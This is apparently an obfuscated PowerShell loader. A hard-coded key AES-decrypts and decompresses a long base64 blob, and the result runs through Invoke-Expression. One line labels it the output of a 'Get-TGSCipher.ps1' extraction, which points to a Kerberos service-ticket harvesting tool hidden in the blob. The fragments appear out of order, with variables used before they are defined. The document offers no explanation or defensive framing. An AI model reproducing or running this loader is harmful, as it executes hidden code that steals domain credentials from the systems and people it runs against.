$zipwuvov = [System.Convert]::FromBase64String("ikf4rUI9UhBUXNc6juXscc5Y7OXzBQM50vIxE1gRR1w=")
$ufsvo.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$ufsvo.KeySize = 192
$ufsvo.Key = $zipwuvov
$ufsvo.Mode = [System.Security.Cryptography.CipherMode]::CBC
$ufsvo.IV = $zyoanx[0..15]
$ufsvo.BlockSize = 128
$jdxcbw = New-Object System.IO.MemoryStream(,$ufsvo.CreateDecryptor().TransformFinalBlock($zyoanx,16,$zyoanx.Length-16))
$vaajkbk = New-Object System.IO.MemoryStream
$mwzq = New-Object System.IO.Compression.DeflateStream $jdxcbw, ([IO.Compression.CompressionMode]::Decompress)
$mwzq.CopyTo($vaajkbk)
$nvnhppd = [System.Text.Encoding]::UTF8.GetString($vaajkbk.ToArray())
$ufsvo.Dispose()
$mwzq.Close()
$jdxcbw.Close()
Invoke-Expression($nvnhppd)

Here is the outcome of the TGS Cipher extraction “Get-TGSCipher.ps1”

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18
$agdqjzn = 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